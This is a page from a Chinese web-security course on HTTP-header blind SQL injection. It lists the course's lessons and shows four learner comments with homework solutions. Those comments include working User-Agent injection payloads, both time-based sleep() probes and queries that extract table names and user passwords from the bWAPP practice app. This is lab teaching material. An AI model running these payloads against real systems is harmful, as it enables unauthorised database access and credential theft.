Web 安全攻防实战
王昊天
螣龙安科创始人兼 CEO
25016 人已学习
新⼈⾸单¥68
课程目录
已完结/共 106 讲
第二章:Web安全之后端安全 (46讲)
Web 安全攻防实战
登录|注册
留言
4
收藏
沉浸
阅读
分享
手机端
回顶部
当前播放: 25 | SQL注入实战:隐蔽的HTTP头盲注
00:00 / 00:00
高清
  • 高清
1.0x
  • 2.0x
  • 1.5x
  • 1.25x
  • 1.0x
  • 0.75x
  • 0.5x
网页全屏
全屏
00:00
付费课程,可试看
01 | 课程介绍
02 | 内容综述
03 | Web安全前端基础:HTML
04 | Web安全前端基础:CSS、JavaScript
05 | 探究网站的运作原理:用Python写一个简单的Web App
06 | Web框架的运作原理:用Django快速搭建一个网站
07 | HTTP协议是怎么工作的?
08 | 常见的Web安全漏洞都有哪些?
09 | Web渗透工具入门:Burp Suite、cURL、Postman
10 | Web渗透插件入门:Wappalyzer、HackBar
11 | 文件上传漏洞:漏洞原理&一句话木马
12 | 文件上传漏洞初阶:后缀名绕过&原理探究
13 | 文件上传漏洞中阶:前端验证绕过、.htaccess绕过、大小写绕过
14 | 文件上传漏洞高阶:文件流绕过、字符串截断绕过、文件头检测绕过
15 | 文件上传漏洞:初探源码审计
16 | 文件上传漏洞:初探Fuzz
17 | Web安全后端基础:数据库的基本概念
18 | Web安全后端基础:极简MySQL入门
19 | SQL注入漏洞的原理及其危害
20 | 从协议视角看注入:GET型注入攻击及防御
21 | 从协议视角看注入:POST型注入攻击及防御
22 | SQL注入实战:判断SQL注入点&防御方式
23 | 宏观视角看注入:5种不同的SQL注入类型
24 | SQL注入实战:利用时间盲注绕过无报错无回显场景
25 | SQL注入实战:隐蔽的HTTP头盲注
26 | SQL注入实战:利用数据库的bug进行报错注入
27 | SQL注入实战:实施报错注入攻击
28 | SQL注入实战:威力巨大的堆叠注入
29 | SQL注入实战:游离在常规分类外的OOB注入
30 | SQL注入实战:浅谈OOB注入原理
31 | SQL注入实战:OOB注入之环境准备
32 | SQL注入实战:OOB注入关键函数解析之load_file
33 | SQL注入实战:实施OOB注入攻击
34 | SQL注入实战:如何绕过WAF之混淆注入原理
35 | SQL注入实战:如何绕过WAF之union、where、limit过滤绕过
36 | SQL注入实战:如何绕过WAF之group by、select、单引号、hex、unhex、substr绕过
37 | SQL注入实战:如何绕过WAF之空格、等号、双写、双重编码绕过
38 | SQL注入实战:如何绕过WAF之数据库底层编码注入攻击
39 | SQL注入实战:如何绕过WAF之二次注入攻击
40 | SQL注入实战:激动人心的命令执行
41 | SQL注入实战:webshell类型命令执行与交互
42 | SQL注入实战:UDF类型命令执行与交互
43 | SQL注入实战:玩转Linux权限管理之用户和组
44 | SQL注入实战:玩转Linux权限管理之文件权限
45 | SQL注入实战:自动化注入攻击之了解sqlmap
46 | SQL注入实战:玩转sqlmap之携带cookie
47 | SQL注入实战:玩转sqlmap之通过level设定检测深度
48 | SQL注入实战:玩转 sqlmap之读写server文件
49 | SQL注入实战:玩转sqlmap之实战脱库
50 | SQL注入实战:自动化注入攻击之FuzzDB+Burp组合拳
51 | SQL注入实战:欣赏优秀的Web后门之核心功能
52 | SQL注入实战:欣赏优秀的Web后门之免杀
53 | SQL注入实战:面向NoSQL数据库的注入攻击
54 | SQL注入实战:浅谈SQL注入防御方式及原理之预编译
55 | SQL注入实战:浅谈SQL注入防御方式及原理之过滤
56 | 加密算法与随机数
57 | Spring框架安全攻击和防御 - 什么是框架级漏洞
58 | Spring框架安全攻击和防御 - CVE-2017-8046利用
59 | Spring框架安全攻击和防御 - CVE-2017-8046分析
60 | 反射型XSS漏洞原理、案例及防御措施
61 | 存储型XSS漏洞原理、案例及防御措施
62 | DOM型XSS漏洞原理、案例及防御措施
63 | 伪协议与编码绕过
64 | XSS蠕虫实战案例分析
65 | XSS混淆编码
66 | CSRF跨站请求伪造漏洞原理、攻击演练
67 | 同源策略及跨源访问
68 | XSS及CSRF综合利用案例分析:点击劫持
69 | HTML5新标签及相应的安全分析(一)
70 | HTML5新标签及相应的安全分析(二)
71 | XSS之模板注入 - 初探Node.js模板引擎
72 | XSS之模板注入 - 模板引擎与XSS的关系
73 | XSS之模板注入 - 经典注入手法
74 | Javascript与RCE(远程代码执行)
75 | BlackHat议题追踪:XSS的危害不够大? - 构造攻击链
76 | BlackHat议题追踪:XSS的危害不够大? - CSRF到XSS
77 | BlackHat议题追踪:XSS的危害不够大? - XSS到RCE
78 | SSRF服务端请求伪造
79 | Apache安全专题 - 配置错误诱发的漏洞
80 | Apache安全专题 - CVE-2017-15715
81 | Nginx安全专题 - CRLF注入攻击
82 | Nginx安全专题 - CVE-2017-7529
83 | Tomcat安全专题
84 | PHP安全专题:了解PHP环境
85 | PHP安全专题:远程(本地)文件包含
86 | PHP安全专题:学习黑魔法函数
87 | PHP安全专题:序列化及反序列化漏洞
88 | PHP安全专题:浅谈PHP安全编码
89 | Java Web安全专题:Java Web基础
90 | Java Web安全专题:浅谈代码审计思路
91 | Node.js安全专题:Node.js基础
92 | Node.js安全专题:Express及其组件
93 | Node.js安全专题:Node.js安全开发技术
94 | Node.js安全专题:Node.js漏洞审计
95 | DDoS之协议层拒绝服务攻击:SYN泛洪、UDP泛洪、ICMP泛洪
96 | DDoS之应用层拒绝服务攻击:Slowloris攻击、HTTP Post DoS
97 | 如何做好认证与会话管理?
98 | 访问控制:水平权限&垂直权限
99 | 互联网公司运营安全、业务安全、业务逻辑安全策略规范
100 | 如何做好用户隐私保护?—— 开发者视角
101 | 如何做好用户隐私保护?—— 用户体验及产品设计视角
102 | 网络钓鱼防范:钓鱼网站、邮件钓鱼的防控
103 | 怎样建立安全开发流程(SDL)?
104 | 漏洞修补应当遵循怎样的流程?
105 | 如何建立安全监控规范?
106 | 结束语
本节摘要
登录 后留言

全部留言(4)

  • 最新
  • 精选
爱的伊苏
三道作业题解 1 依次利用information_schema.tables information_schema.columns 查询,最后 select id from users limit 1 offset 0 可以参考get注入视频中的写法 2 还可以用布尔型和时间延迟注入 3 Kevin大佬已经说了时间延迟即可 如果看到这里你花了很久还没完成注入欢迎来看看~ https://github.com/aideyisu/CTF/blob/master/doc/HTTP头注入.md

作者回复: 感谢同学的认真学习和分享~

2020-08-03
3
Kevin⚡️Zhou
对于课后作业, 我的理解是, 我们仍然可以通过时间盲注的方式来进行相应操作, 例如: 我们将字段位置调换后, 将最后一个字段的值变成如下: 23'+ (select 1 from (select user()) as t where length((select database())) = 5 and sleep(2))); # 这样的话还是可以实现时间盲注的攻击方法. 当然这个query可以根据不同的需求进行相应的变化

作者回复: cool~ 是对的

2020-07-27
2
1
CoffeeMilk
解题思路: 1、利用SQL盲注完成HTTP头注入:(使用Burpsuit的重发器【Repeater】操作) 《1》获取到当前数据库名称(User-Agent: testAgent',database()) # ) 《2》获取到当前数据库包含的表数量(User-Agent: testAgent',(SELECT count(*) from information_schema.tables WHERE table_schema=database())) # ) 《3》获取到当前数据库包含指定数量的表名称(User-Agent: testAgent',(SELECT GROUP_CONCAT(table_name SEPARATOR '\n') from information_schema.tables WHERE table_schema=database() LIMIT 0,5)) # ) 《4》获取到指定表对应的所有列名称(User-Agent: testAgent',(SELECT GROUP_CONCAT(column_name SEPARATOR '\n') from information_schema.COLUMNS WHERE table_name='users')) # ) 《5》获取到用户表对应的列信息(User-Agent: testAgent',(SELECT GROUP_CONCAT(CONCAT_WS('\n',login,password,secret) SEPARATOR '\n') from users)) # ) 如果合并内容后在界面显示信息不全,那么我们只能一列一列的取读取数据(使用LIMIT函数限制) 《5》获取到指定表对应的数据行数(User-Agent: testAgent',(SELECT COUNT(*) from users)) # ) 《6》根据获取到的数据行数一行一行读取(User-Agent: testAgent',(SELECT GROUP_CONCAT(CONCAT_WS('\n',login,password,secret) SEPARATOR '\n') from users LIMIT 0,1)) # ) 3、如果注入的userAgent为最后一列的注入思路:(主线是采用bool结合时间盲注) 使用bool结合时间盲注进行判定:具体的可以参考【https://gitee.com/kafeiweimei/b-wapp-range-clearance/tree/master/%E6%BC%8F%E6%B4%9E%E7%B1%BB%E5%9E%8B%E5%92%8C%E8%A7%A3%E5%86%B3%E6%80%9D%E8%B7%AF】内容操作: 大致思路为: ①获取数据库名称的长度【database()函数获取当前数据库名称、Length()函数获取长度】; ②根据数据库名称的长度进行逐一截取数据库名称的每个字符与ASCII匹配结合时间注入进行判定【substr()函数截取,ASCII()函数将字符转为数字、sleep()函数为时间盲注】 ③对匹配上的每个数字在转为ASCII字符即可 字符串后【使用bool结合时间盲注】操作可以参考如下函数: 【SELECT if(1=1,1,0)】示例:【SELECT 'test'+(if(LENGTH(DATABASE())=5,1,0) and sleep(2))】; 【SELECT 'test'+(1=1 and LENGTH(DATABASE())=5 and sleep(2))】
2023-01-18
1
lyon
0.找出bWAPP下的表 mm', (select group_concat(table_name) from information_schema.tables where table_schema='bWAPP')); # 1.查询users表中的列名 mm', (select group_concat(column_name) from information_schema.columns where table_schema='bWAPP')); # 2.查询users表中的登录名login mm', (select group_concat(login) from users )); # 3.查询密码password mm', (select password from users where login='A.I.M.' )); # 此处如果显示所有的密码字段,会由于字节数限制显示不完全
2021-02-28
1
收起评论